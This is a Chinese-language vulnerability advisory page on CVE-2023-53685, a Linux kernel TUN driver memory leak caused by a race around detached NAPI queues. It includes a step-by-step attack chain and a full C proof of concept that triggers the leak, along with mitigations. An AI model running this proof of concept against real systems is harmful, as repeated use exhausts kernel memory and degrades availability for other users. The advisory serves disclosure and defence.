IPBUF安全漏洞报告
English
CVE-2023-53685 CVSS 5.5 中危

CVE-2023-53685 Linux内核TUN驱动分离NAPI队列内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53685
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (drivers/net/tun.c TUN驱动)

相关标签

Linux内核TUN驱动内存泄漏NAPI竞态条件CVE-2023-53685内核安全drivers/net/tun.c本地提权拒绝服务

漏洞概述

CVE-2023-53685是Linux内核TUN(网络隧道)驱动程序中的一个内存泄漏漏洞。该漏洞由syzkaller模糊测试工具发现,存在于TUN设备的NAPI(New API)队列管理逻辑中。当用户态程序在TUN设备上同时启用NAPI和IFF_MULTI_QUEUE多队列特性后,如果通过ioctl的TUNSETQUEUE命令携带IFF_DETACH_QUEUE标志分离了某个队列,在该分离队列关闭过程中可能出现sk(socket)和skb(socket buffer)对象未被正确释放的问题,导致内核内存泄漏。该漏洞的CVSS评分为5.5,属于中危级别,攻击向量为本地,需要低权限即可触发,无需用户交互。虽然机密性和完整性不受影响,但该漏洞可导致系统可用性下降(高可用性影响),长时间运行可能耗尽内核内存资源,影响系统稳定性和其他进程正常运行。该漏洞影响多个Linux内核稳定版本,官方已通过多个补丁提交进行修复。

技术细节

该漏洞的根本原因在于TUN驱动的tun_get_user函数和__tun_detach函数之间存在竞态条件。具体而言,当启用NAPI和IFF_MULTI_QUEUE特性的TUN设备的某个文件描述符队列被分离(detached)后,write()系统调用和ioctl(IFF_DETACH_QUEUE)可能并发执行。

在原始代码中,tun_get_user函数检查tfile->detached标志的时机与加锁时机不当:write()路径首先检查tfile->detached状态(此时为false),然后获取queue->lock自旋锁并执行__skb_queue_tail将skb加入队列;而与此同时,ioctl(IFF_DETACH_QUEUE)路径在__tun_detach中执行tun_disable_queue,将tfile->detached设置为true并调用tun_queue_purge清理队列。由于检查和加锁之间存在时间窗口,可能导致skb在队列已被分离后仍然被加入写入队列(tfile->sk.sk_write_queue),而这些skb在队列关闭时不会被正确释放,造成内存泄漏。

修复方案是在tun_get_user中,在queue->lock自旋锁的保护下检查tfile->detached标志,确保在将skb加入队列之前队列未被分离。同时对IFF_NAPI_FRAGS也做相同的检查处理,以防止类似的竞态条件。

攻击链分析

STEP 1
步骤1:创建TUN设备
攻击者通过openat系统调用打开/dev/net/tun设备文件,并通过ioctl的TUNSETIFF命令创建一个启用了IFF_NAPI和IFF_MULTI_QUEUE标志的TUN虚拟网络接口。
STEP 2
步骤2:分离NAPI队列
通过ioctl的TUNSETQUEUE命令携带IFF_DETACH_QUEUE标志,将刚创建的TUN队列从接口中分离,使其处于detached状态。
STEP 3
步骤3:激活网络接口
创建AF_PACKET类型的socket并通过SIOCSIFFLAGS将TUN接口设置为UP状态,使接口进入可工作状态。
STEP 4
步骤4:触发竞态条件导致内存泄漏
向已分离的TUN文件描述符执行write()操作,由于tun_get_user中检查tfile->detached与加锁之间存在竞态窗口,skb被加入已分离队列的sk_write_queue中,造成sk和skb对象在关闭时无法被正确释放。
STEP 5
步骤5:耗尽内核内存资源
重复执行上述步骤可导致内核内存持续泄漏,长期运行将耗尽内核slab内存,影响系统稳定性和可用性,可能导致系统崩溃或其他进程异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53685 PoC - TUN NAPI detached queue memory leak * Compile: gcc -o poc poc.c * Run: ./poc * This triggers a memory leak of sk and skb in the TUN driver * when NAPI and multi-queue are enabled and a queue is detached. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/if_tun.h> int main(void) { struct ifreq ifr = {}; int fd_tun, fd_tmp; char buf[4] = {}; /* Open the TUN device */ fd_tun = openat(AT_FDCWD, "/dev/net/tun", O_WRONLY, 0); if (fd_tun < 0) { perror("open /dev/net/tun"); return 1; } /* Create a TUN interface with NAPI and multi-queue enabled */ ifr.ifr_flags = IFF_TUN | IFF_NAPI | IFF_MULTI_QUEUE; if (ioctl(fd_tun, TUNSETIFF, &ifr) < 0) { perror("TUNSETIFF"); close(fd_tun); return 1; } /* Detach the queue */ ifr.ifr_flags = IFF_DETACH_QUEUE; if (ioctl(fd_tun, TUNSETQUEUE, &ifr) < 0) { perror("TUNSETQUEUE detach"); close(fd_tun); return 1; } /* Open a packet socket to bring up the interface */ fd_tmp = socket(AF_PACKET, SOCK_PACKET, 0); if (fd_tmp < 0) { perror("socket AF_PACKET"); close(fd_tun); return 1; } /* Set the interface up */ ifr.ifr_flags = IFF_UP; if (ioctl(fd_tmp, SIOCSIFFLAGS, &ifr) < 0) { perror("SIOCSIFFLAGS"); close(fd_tun); close(fd_tmp); return 1; } /* Write to the detached queue - triggers the memory leak */ write(fd_tun, buf, sizeof(buf)); /* Close the TUN fd - leaked sk and skb remain in kernel memory */ close(fd_tun); close(fd_tmp); printf("PoC executed. Check kernel memory for leaked sk/skb objects.\n"); return 0; }

影响范围

Linux Kernel < 6.1.63
Linux Kernel 6.2.x ~ 6.2.13
Linux Kernel 6.3.x ~ 6.3.2
Linux Kernel 6.4 ~ 6.4-rc1

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过文件权限限制普通用户对/dev/net/tun设备的访问,仅允许可信用户使用TUN设备;2)在内核启动参数中添加相关限制或通过LSM(如SELinux、AppArmor)限制非特权进程调用TUNSETIFF等ioctl;3)监控系统内存使用情况,及时发现异常内存增长;4)定期重启服务或系统以释放泄漏的内核内存;5)关注发行版厂商发布的安全公告,及时安装官方提供的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表